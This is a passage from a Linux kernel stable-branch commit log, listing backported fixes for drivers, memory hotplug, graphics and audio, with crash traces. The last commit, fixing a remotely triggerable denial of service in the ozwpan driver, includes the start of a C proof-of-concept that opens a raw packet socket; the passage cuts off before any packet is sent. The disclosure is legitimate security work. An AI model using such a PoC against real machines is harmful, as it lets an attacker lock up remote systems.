strongly preferred so that developers understand that the other options should only be used when absolutely required. Also specify how upstream commit ids should be referenced in patches submitted directly to stable (I gathered this from looking at the stable archives), and specify that any modified patches for stable should be clearly documented in the patch description. Signed-off-by: Christoffer Dall Signed-off-by: Jonathan Corbet Signed-off-by: Sasha Levin commit 07519e4ac1ca9aae9b4a8e7742eec8d4bbf93ac4 Author: Mimi Zohar Date: Wed Feb 11 07:33:34 2015 -0500 KEYS: fix "ca_keys=" partial key matching [ Upstream commit f2b3dee484f9cee967a54ef05a66866282337519 ] The call to asymmetric_key_hex_to_key_id() from ca_keys_setup() silently fails with -ENOMEM. Instead of dynamically allocating memory from a __setup function, this patch defines a variable and calls __asymmetric_key_hex_to_key_id(), a new helper function, directly. This bug was introduced by 'commit 46963b774d44 ("KEYS: Overhaul key identification when searching for asymmetric keys")'. Changelog: - for clarification, rename hexlen to asciihexlen in asymmetric_key_hex_to_key_id() - add size argument to __asymmetric_key_hex_to_key_id() - David Howells - inline __asymmetric_key_hex_to_key_id() - David Howells - remove duplicate strlen() calls Acked-by: David Howells Signed-off-by: Mimi Zohar Cc: stable@vger.kernel.org # 3.18 Signed-off-by: Sasha Levin commit 8f609d902228e0bb565e924636c168754e22fcdd Author: Paolo Bonzini Date: Mon May 18 08:35:43 2015 +0200 KVM: mips: use id_to_memslot correctly [ Upstream commit 69a1220060c1523fd0515216eaa29e22f133b894 ] The argument to KVM_GET_DIRTY_LOG is a memslot id; it may not match the position in the memslots array, which is sorted by gfn. Cc: stable@vger.kernel.org Reviewed-by: James Hogan Signed-off-by: Paolo Bonzini Signed-off-by: Sasha Levin commit f731e5c7f3acae81a25f18ae01ae2641364f794c Author: Bart Van Assche Date: Mon May 18 13:22:19 2015 +0200 scsi_transport_srp: Introduce srp_wait_for_queuecommand() [ Upstream commit be34c62ddf39d1931780b07a6f4241393e4ba2ee ] Introduce the helper function srp_wait_for_queuecommand(). Move the definition of scsi_request_fn_active(). Add a comment above srp_wait_for_queuecommand() that support for scsi-mq needs to be added. This patch does not change any functionality. A second call to srp_wait_for_queuecommand() will be introduced in the next patch. Signed-off-by: Bart Van Assche Cc: James Bottomley Cc: Sagi Grimberg Cc: Sebastian Parschauer Cc: #v3.13 Signed-off-by: Doug Ledford Signed-off-by: Sasha Levin commit ec4dc9ec65b03eb561c84ad75125eef4ac25fbeb Author: Zhichang Yuan Date: Fri Apr 24 17:05:09 2015 +0800 of/pci: Fix pci_address_to_pio() conversion of CPU address to I/O port [ Upstream commit 5dbb4c6167229c8d4f528e8ec26699a7305000a3 ] 41f8bba7f555 ("of/pci: Add pci_register_io_range() and pci_pio_to_address()") added support for systems with several I/O ranges described by OF bindings. It modified pci_address_to_pio() look up the io_range for a given CPU physical address, but the conversion was wrong. Fix the conversion of address to I/O port. [bhelgaas: changelog] Fixes: 41f8bba7f555 ("of/pci: Add pci_register_io_range() and pci_pio_to_address()") Signed-off-by: Zhichang Yuan Signed-off-by: Bjorn Helgaas Acked-by: Liviu Dudau CC: stable@vger.kernel.org # v3.18+ Signed-off-by: Sasha Levin commit 217c008c04bd34b2306b7c4fb2f5c0593b50bd71 Author: Axel Lin Date: Fri May 15 09:15:16 2015 +0800 ASoC: wm8955: Fix setting wrong register for WM8955_K_8_0_MASK bits [ Upstream commit 12c350050538c7dc779c083b7342bfd20f74949c ] WM8955_K_8_0_MASK bits is controlled by WM8955_PLL_CONTROL_3 rather than WM8955_PLL_CONTROL_2. Signed-off-by: Axel Lin Acked-by: Charles Keepax Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 1130ed2583c32ddb1744a389d992ea3ebec537cc Author: Thomas Reitmayr Date: Fri May 1 20:18:04 2015 -0300 [media] media: Fix regression in some more dib0700 based devices [ Upstream commit e989a73ebd09d22c22ead51fa363a2f56f70f28a ] Fix an oops during device initialization by correctly setting size_of_priv instead of leaving it 0. The regression was introduced by 8abe4a0a3f6d4217b16a ("[media] dib7000: export just one symbol") and only fixed for one type of dib0700 based devices in 9e334c75642b6e5bfb95 ("[media] Fix regression in some dib0700 based devices"). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=92301 Fixes: 8abe4a0a3f6d4217b16a ("[media] dib7000: export just one symbol") Cc: stable@vger.kernel.org # for version 3.17+ Signed-off-by: Thomas Reitmayr Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit 1431bbe6e10a4e2b4d8ae931c6b8441816288dab Author: Axel Lin Date: Mon May 11 09:04:06 2015 +0800 ASoC: wm8903: Fix define for WM8903_VMID_RES_250K [ Upstream commit ebb6ad73e645b8f2d098dd3c41d2ff0da4146a02 ] VMID Control 0 BIT[2:1] is VMID Divider Enable and Select 00 = VMID disabled (for OFF mode) 01 = 2 x 50kΩ divider (for normal operation) 10 = 2 x 250kΩ divider (for low power standby) 11 = 2 x 5kΩ divider (for fast start-up) So WM8903_VMID_RES_250K should be 2 << 1, which is 4. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 0b664b22a7fb65d685b22a4b9cbe4bd9777558c4 Author: Axel Lin Date: Sun May 10 11:35:06 2015 +0800 ASoC: wm8737: Fixup setting VMID Impedance control register [ Upstream commit 14ba3ec1de043260cecd9e828ea2e3a0ad302893 ] According to the datasheet: R10 (0Ah) VMID Impedance Control BIT 3:2 VMIDSEL DEFAULT 00 DESCRIPTION: VMID impedance selection control 00: 75kΩ output 01: 300kΩ output 10: 2.5kΩ output WM8737_VMIDSEL_MASK is 0xC (VMIDSEL - [3:2]), so it needs to left shift WM8737_VMIDSEL_SHIFT bits for setting these bits. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit c1610d2cf12d7cab89cec2f1935e23f6ca0a5cb8 Author: Axel Lin Date: Mon May 11 17:02:58 2015 +0800 genirq: devres: Fix testing return value of request_any_context_irq() [ Upstream commit 63781394c540dd9e666a6b21d70b64dd52bce76e ] request_any_context_irq() returns a negative value on failure. It returns either IRQC_IS_HARDIRQ or IRQC_IS_NESTED on success. So fix testing return value of request_any_context_irq(). Also fixup the return value of devm_request_any_context_irq() to make it consistent with request_any_context_irq(). Fixes: 0668d3065128 ("genirq: Add devm_request_any_context_irq()") Signed-off-by: Axel Lin Reviewed-by: Stephen Boyd Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1431334978.17783.4.camel@ingics.com Signed-off-by: Thomas Gleixner Signed-off-by: Sasha Levin commit bc8298a3efa4cec6e109206ecb5fdeff08b58c1d Author: Horia Geant? Date: Mon May 11 20:04:49 2015 +0300 Revert "crypto: talitos - convert to use be16_add_cpu()" [ Upstream commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd ] This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c. The conversion to be16_add_cpu() is incorrect in case cryptlen is negative due to premature (i.e. before addition / subtraction) implicit conversion of cryptlen (int -> u16) leading to sign loss. Cc: # 3.10+ Cc: Wei Yongjun Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Sasha Levin commit a6642fe7e80e12fa71136e28d6fcf757ce859bc8 Author: Horia Geant? Date: Mon May 11 20:03:24 2015 +0300 crypto: talitos - avoid memleak in talitos_alg_alloc() [ Upstream commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 ] Cc: # 3.2+ Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function") Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Sasha Levin commit 7b0ac7786b2ae6407cd292a33b0688e3d71b7067 Author: Grygorii Strashko Date: Fri Apr 24 14:57:10 2015 +0300 leds / PM: fix hibernation on arm when gpio-led used with CPU led trigger [ Upstream commit 084609bf727981c7a2e6e69aefe0052c9d793300 ] Setting a dev_pm_ops suspend/resume pair of callbacks but not a set of hibernation callbacks means those pm functions will not be called upon hibernation - that leads to system crash on ARM during freezing if gpio-led is used in combination with CPU led trigger. It may happen after freeze_noirq stage (GPIO is suspended) and before syscore_suspend stage (CPU led trigger is suspended) - usually when disable_nonboot_cpus() is called. Log: PM: noirq freeze of devices complete after 1.425 msecs Disabling non-boot CPUs ... ^ system may crash or stuck here with message (TI AM572x) WARNING: CPU: 0 PID: 3100 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x22c/0x370() 44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in Supervisor mode during Functional access CPU1: shutdown ^ or here Fix this by using SIMPLE_DEV_PM_OPS, which appropriately assigns the suspend and hibernation callbacks and move led_suspend/led_resume under CONFIG_PM_SLEEP to avoid build warnings. Fixes: 73e1ab41a80d (leds: Convert led class driver from legacy pm ops to dev_pm_ops) Signed-off-by: Grygorii Strashko Acked-by: Jacek Anaszewski Cc: 3.11+ # 3.11+ Signed-off-by: Rafael J. Wysocki Signed-off-by: Sasha Levin commit d36bec4cb0ae2ca617e9fba2c80467e9443f0d9c Author: Joe Konno Date: Tue May 12 07:59:42 2015 -0700 intel_pstate: set BYT MSR with wrmsrl_on_cpu() [ Upstream commit 0dd23f94251f49da99a6cbfb22418b2d757d77d6 ] Commit 007bea098b86 (intel_pstate: Add setting voltage value for baytrail P states.) introduced byt_set_pstate() with the assumption that it would always be run by the CPU whose MSR is to be written by it. It turns out, however, that is not always the case in practice, so modify byt_set_pstate() to enforce the MSR write done by it to always happen on the right CPU. Fixes: 007bea098b86 (intel_pstate: Add setting voltage value for baytrail P states.) Signed-off-by: Joe Konno Acked-by: Kristen Carlson Accardi Cc: 3.14+ # 3.14+ Signed-off-by: Rafael J. Wysocki Signed-off-by: Sasha Levin commit f5ef1e8cd9a703dcdc0c34aac0898e6d112a9a6e Author: David Härdeman Date: Mon Mar 30 17:51:01 2015 -0300 [media] rc-core: fix dib0700 scancode generation for RC5 [ Upstream commit 4d298b8539ed59f1d69d3aa6e41a2c4908137612 ] commit af3a4a9bbeb0 ("[media] dib0700: NEC scancode cleanup") cleaned up the NEC scancode logic but overlooked the RC5 case. This patch brings the RC5 case in line with the NEC code and makes the struct self-documenting. Signed-off-by: David Härdeman Reported-by: David Cimbůrek Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit 0d42095979b0978ecc4ce24179db9c667008e51c Author: Brian Norris Date: Thu May 7 17:55:16 2015 -0700 mtd: fix: avoid race condition when accessing mtd->usecount [ Upstream commit 073db4a51ee43ccb827f54a4261c0583b028d5ab ] On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to mtd->usecount were done without taking mtd_table_mutex. kernel: Call Trace: kernel: [] __put_mtd_device+0x20/0x50 kernel: [] blktrans_release+0x8c/0xd8 kernel: [] __blkdev_put+0x1a8/0x200 kernel: [] blkdev_close+0x1c/0x30 kernel: [] __fput+0xac/0x250 kernel: [] task_work_run+0xd8/0x120 kernel: [] work_notifysig+0x10/0x18 kernel: kernel: Code: 2442ffff ac8202d8 000217fe <00020336> dc820128 10400003 00000000 0040f809 00000000 kernel: ---[ end trace 080fbb4579b47a73 ]--- Fixed by taking the mutex in blktrans_open and blktrans_release. Note that this locking is already suggested in include/linux/mtd/blktrans.h: struct mtd_blktrans_ops { ... /* Called with mtd_table_mutex held; no race with add/remove */ int (*open)(struct mtd_blktrans_dev *dev); void (*release)(struct mtd_blktrans_dev *dev); ... }; But we weren't following it. Originally reported by (and patched by) Zhang and Giuseppe, independently. Improved and rewritten. Cc: stable@vger.kernel.org Reported-by: Zhang Xingcai Reported-by: Giuseppe Cantavenera Tested-by: Giuseppe Cantavenera Acked-by: Alexander Sverdlin Signed-off-by: Brian Norris Signed-off-by: Sasha Levin commit c3dfa0e0475c705465e595fbb33dce5bf9b6d200 Author: Martin Sperl Date: Sun May 10 07:50:45 2015 +0000 spi: fix race freeing dummy_tx/rx before it is unmapped [ Upstream commit 8e76ef88f607174082023f50b87fe12dcdbe5db5 ] Fix a race (with some kernel configurations) where a queued master->pump_messages runs and frees dummy_tx/rx before spi_unmap_msg is running (or is finished). This results in the following messages: BUG: Bad page state in process page:db7ba030 count:0 mapcount:0 mapping: (null) index:0x0 flags: 0x200(arch_1) page dumped because: PAGE_FLAGS_CHECK_AT_PREP flag set ... Reported-by: Noralf Trønnes Suggested-by: Noralf Trønnes Tested-by: Noralf Trønnes Signed-off-by: Martin Sperl Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 22f36a483593a399e7d065520e62eb5850d66127 Author: Dmitry Osipenko Date: Thu Jan 15 13:58:57 2015 +0300 ARM: tegra20: Store CPU "resettable" status in IRAM [ Upstream commit 4d48edb3c3e1234d6b3fcdfb9ac24d7c6de449cb ] Commit 7232398abc6a ("ARM: tegra: Convert PMC to a driver") changed tegra_resume() location storing from late to early and, as a result, broke suspend on Tegra20. PMC scratch register 41 is used by tegra LP1 resume code for retrieving stored physical memory address of common resume function and in the same time used by tegra20_cpu_shutdown() (shared by Tegra20 cpuidle driver and platform SMP code), which is storing CPU1 "resettable" status. It implies strict order of scratch register usage, otherwise resume function address is lost on Tegra20 after disabling non-boot CPU's on suspend. Fix it by storing "resettable" status in IRAM instead of PMC scratch register. Signed-off-by: Dmitry Osipenko Fixes: 7232398abc6a (ARM: tegra: Convert PMC to a driver) Cc: # v3.17+ Signed-off-by: Thierry Reding Signed-off-by: Sasha Levin commit ec56d2a633dd98cb837fff7a97248ea313a664d0 Author: Pawel Moll Date: Thu Apr 2 18:50:32 2015 +0100 bus: arm-ccn: Fix node->XP config conversion [ Upstream commit a18f8e97fe69195823d7fb5c68a8d6565f39db4b ] Events defined as watchpoints on nodes must have their config values converted so that they apply to the respective node's XP. The function setting new values was using wrong mask for the "port" field, resulting in corrupted value. Fixed now. Cc: stable@vger.kernel.org # 3.17+ Signed-off-by: Pawel Moll Signed-off-by: Sasha Levin commit b5bc42d35f6d8ab18a023da8a59518b47cb13ea8 Author: Mauro Carvalho Chehab Date: Tue Apr 28 19:03:59 2015 -0300 [media] cx24117: fix a buffer overflow when checking userspace params [ Upstream commit 82e3b88b679049f043fe9b03991d6d66fc0a43c8 ] The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit 19e1c444111bbf4f78e9df0ad458072a86f961ad Author: Mauro Carvalho Chehab Date: Tue Apr 28 19:02:19 2015 -0300 [media] af9013: Don't accept invalid bandwidth [ Upstream commit d7b76c91f471413de9ded837bddeca2164786571 ] If userspace sends an invalid bandwidth, it should either return EINVAL or switch to auto mode. This driver will go past an array and program the hardware on a wrong way if this happens. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit f162b656ee480c9a3b024c85deffc4ab39f1a9a5 Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:51:17 2015 -0300 [media] cx24116: fix a buffer overflow when checking userspace params [ Upstream commit 1fa2337a315a2448c5434f41e00d56b01a22283c ] The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit 605ce4c68d765a5ef771ddcb5466332b3406c17c Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:34:40 2015 -0300 [media] s5h1420: fix a buffer overflow when checking userspace params [ Upstream commit 12f4543f5d6811f864e6c4952eb27253c7466c02 ] The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up to 7 values: drivers/media/dvb-frontends/s5h1420.c:193 s5h1420_send_master_cmd() error: buffer overflow 'cmd->msg' 6 <= 7 Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Sasha Levin commit f311de9c14c74df23c5e7dd83d65d3d5167c0ae7 Author: Sagi Grimberg Date: Thu Jun 4 19:49:20 2015 +0300 iser-target: release stale iser connections [ Upstream commit 2f1b6b7d9a815f341b18dfd26a363f37d4d3c96a ] When receiving a new iser connect request we serialize the pending requests by adding the newly created iser connection to the np accept list and let the login thread process the connect request one by one (np_accept_wait). In case we received a disconnect request before the iser_conn has begun processing (still linked in np_accept_list) we should detach it from the list and clean it up and not have the login thread process a stale connection. We do it only when the connection state is not already terminating (initiator driven disconnect) as this might lead us to access np_accept_mutex after the np was released in live shutdown scenarios. Signed-off-by: Sagi Grimberg Signed-off-by: Jenny Falkovich Cc: stable@vger.kernel.org # 3.10+ Signed-off-by: Nicholas Bellinger Signed-off-by: Sasha Levin commit f75aacca61d7438d4c6fa608dcfbd37fb31ae53c Author: Alex Deucher Date: Wed Jun 10 01:30:54 2015 -0400 Revert "drm/radeon: adjust pll when audio is not enabled" [ Upstream commit ebb9bf18636926d5da97136c22e882c5d91fda73 ] This reverts commit 7fe04d6fa824ccea704535a597dc417c8687f990. Fixes some systems at the expense of others. Need to properly fix the pll divider selection. bug: https://bugzilla.kernel.org/show_bug.cgi?id=99651 Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 0f336ecb4ba910bfc84c94cc63ed6852f74fc38f Author: Alex Deucher Date: Wed Jun 10 01:29:14 2015 -0400 Revert "drm/radeon: don't share plls if monitors differ in audio support" [ Upstream commit 6fb3c025fee16f11ebd73f84f5aba1ee9ce7f8c6 ] This reverts commit a10f0df0615abb194968fc08147f3cdd70fd5aa5. Fixes some systems at the expense of others. Need to properly fix the pll divider selection. bug: https://bugzilla.kernel.org/show_bug.cgi?id=99651 Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 1b56dd7c114d6e1e152d3fcf7011136869e34632 Author: Jérôme Glisse Date: Fri Jun 5 13:33:57 2015 -0400 drm/radeon: fix freeze for laptop with Turks/Thames GPU. [ Upstream commit 6dfd197283bffc23a2b046a7f065588de7e1fc1e ] Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems the SMC engine is relying on some state inside the CP engine. CP needs to chew at least one packet for it to get in good state for dynamic power management. This patch simply disabled and re-enable DPM after the ring test which is enough to avoid the freeze. Signed-off-by: Jérôme Glisse Cc: stable@vger.kernel.org Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 70c5c0ac12fa2b04a56d694c46ba8917f6072378 Author: Jurgen Kramer Date: Fri Jun 5 09:42:49 2015 +0200 ALSA: usb-audio: add native DSD support for JLsounds I2SoverUSB [ Upstream commit 3b7e5c7e36ed4a046bbea6d36c9be9d1d6107ae0 ] This patch adds native DSD support for the XMOS based JLsounds I2SoverUSB board Signed-off-by: Jurgen Kramer Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 34b1659c163ba6c3a1be24ea6917f8730ddb7160 Author: Axel Lin Date: Sun Jun 7 21:33:29 2015 +0800 irqchip: sunxi-nmi: Fix off-by-one error in irq iterator [ Upstream commit febe06962ab191db50e633a0f79d9fb89a2d1078 ] Fixes: 6058bb362818 'ARM: sun7i/sun6i: irqchip: Add irqchip driver for NMI controller' Signed-off-by: Axel Lin Cc: Maxime Ripard Cc: Carlo Caione Cc: Jason Cooper Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1433684009.9134.1.camel@ingics.com Signed-off-by: Thomas Gleixner Signed-off-by: Sasha Levin commit 8086b33eaf2d1a1d11b8721f914f531427fb9859 Author: Nadav Haklai Date: Tue May 26 18:47:23 2015 +0200 ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting [ Upstream commit e96998fc200867f005dd14c7d1dd35e1107d4914 ] According to the Armada 38x datasheet, the window base address registers value is set in bits [31:4] of the register and corresponds to the transaction address bits [47:20]. Therefore, the 32bit base address value should be shifted right by 20bits and left by 4bits, resulting in 16 bit shift right. The bug as not been noticed yet because if the memory available on the platform is less than 2GB, then the base address is zero. [gregory.clement@free-electrons.com: add extra-explanation] Fixes: a3464ed2f14 (ata: ahci_mvebu: new driver for Marvell Armada 380 AHCI interfaces) Signed-off-by: Nadav Haklai Reviewed-by: Omri Itach Signed-off-by: Gregory CLEMENT Cc: Signed-off-by: Tejun Heo Signed-off-by: Sasha Levin commit 193372790d68bd48bff8db5cc051c3a5f3babfce Author: Johannes Berg Date: Tue Jun 9 21:35:44 2015 +0200 cfg80211: wext: clear sinfo struct before calling driver [ Upstream commit 9c5a18a31b321f120efda412281bb9f610f84aa0 ] Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 Cc: stable@vger.kernel.org Reported-by: Gerrit Renker Reported-by: Alexander Kaltsas Signed-off-by: Johannes Berg Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 5ddf504bfc19c4a5edef65ed5a81ceae9a627d39 Author: Gu Zheng Date: Wed Jun 10 11:14:43 2015 -0700 mm/memory_hotplug.c: set zone->wait_table to null after freeing it [ Upstream commit 85bd839983778fcd0c1c043327b14a046e979b39 ] Izumi found the following oops when hot re-adding a node: BUG: unable to handle kernel paging request at ffffc90008963690 IP: __wake_up_bit+0x20/0x70 Oops: 0000 [#1] SMP CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 RIP: 0010:[] [] __wake_up_bit+0x20/0x70 RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 Call Trace: unlock_page+0x6d/0x70 generic_write_end+0x53/0xb0 xfs_vm_write_end+0x29/0x80 [xfs] generic_perform_write+0x10a/0x1e0 xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] xfs_file_write_iter+0x79/0x120 [xfs] __vfs_write+0xd4/0x110 vfs_write+0xac/0x1c0 SyS_write+0x58/0xd0 system_call_fastpath+0x12/0x76 Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 RIP [] __wake_up_bit+0x20/0x70 RSP CR2: ffffc90008963690 Reproduce method (re-add a node):: Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node. When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above. Signed-off-by: Gu Zheng Reported-by: Taku Izumi Reviewed by: Yasuaki Ishimatsu Cc: KAMEZAWA Hiroyuki Cc: Tang Chen Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Sasha Levin commit a504eb544b093618e0177e3f69b711a7c07ded32 Author: Philipp Zabel Date: Tue May 19 10:54:09 2015 +0200 serial: imx: Fix DMA handling for IDLE condition aborts [ Upstream commit 392bceedb107a3dc1d4287e63d7670d08f702feb ] The driver configures the IDLE condition to interrupt the SDMA engine. Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this caused repeated 1-byte DMA transfers, regardless of available data in the RX FIFO. Also, when returning due to the IDLE condition, the UART ROM script already increased its counter, causing residue to be off by one. This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers and decreases count by when the DMA transfer was aborted due to the IDLE condition, fixing serial transfers using DMA on i.MX6Q. Reported-by: Peter Seiderer Signed-off-by: Philipp Zabel Tested-by: Fabio Estevam Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 15d4ee493d55a5dc85e9f69d0a9191ef9d12e56c Author: Jani Nikula Date: Tue Jun 2 19:21:15 2015 +0300 drm/i915: Fix DDC probe for passive adapters [ Upstream commit 3f5f1554ee715639e78d9be87623ee82772537e0 ] Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e1f5c79400254dca46f83313488093825 Author: Eugeni Dodonov Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64cda8569d0529452aafc0da31c042df2e Author: Chris Wilson Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte . [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville). Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 Cc: Todd Previte Cc: stable@vger.kernel.org Tested-by: Oliver Grafe (v2) Tested-by: Jim Bride Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Signed-off-by: Sasha Levin commit 57485aa30f9ab1199b0d93cc069590864d595f3f Author: Jim Bride Date: Wed May 27 10:21:48 2015 -0700 drm/i915/hsw: Fix workaround for server AUX channel clock divisor [ Upstream commit e058c945e03a629c99606452a6931f632dd28903 ] According to the HSW b-spec we need to try clock divisors of 63 and 72, each 3 or more times, when attempting DP AUX channel communication on a server chipset. This actually wasn't happening due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit in status rather than checking that the operation was done and that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set. [v2] Implemented alternate solution suggested by Jani Nikula. Cc: stable@vger.kernel.org Signed-off-by: Jim Bride Signed-off-by: Jani Nikula Signed-off-by: Sasha Levin commit 0b89a59dd29676cac583e0e50c8dd1b269a04cd1 Author: Aaro Koskinen Date: Mon Jun 8 11:32:43 2015 +0300 pata_octeon_cf: fix broken build [ Upstream commit 4710f2facb5c68d629015747bd09b37203e0d137 ] MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that. Cc: stable@vger.kernel.org Signed-off-by: Aaro Koskinen Signed-off-by: Tejun Heo Signed-off-by: Sasha Levin commit 4f0f6115062901e132753b02f189755ae2d3907a Author: Jason A. Donenfeld Date: Fri May 29 13:07:01 2015 +0200 ozwpan: unchecked signed subtraction leads to DoS [ Upstream commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 ] The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } 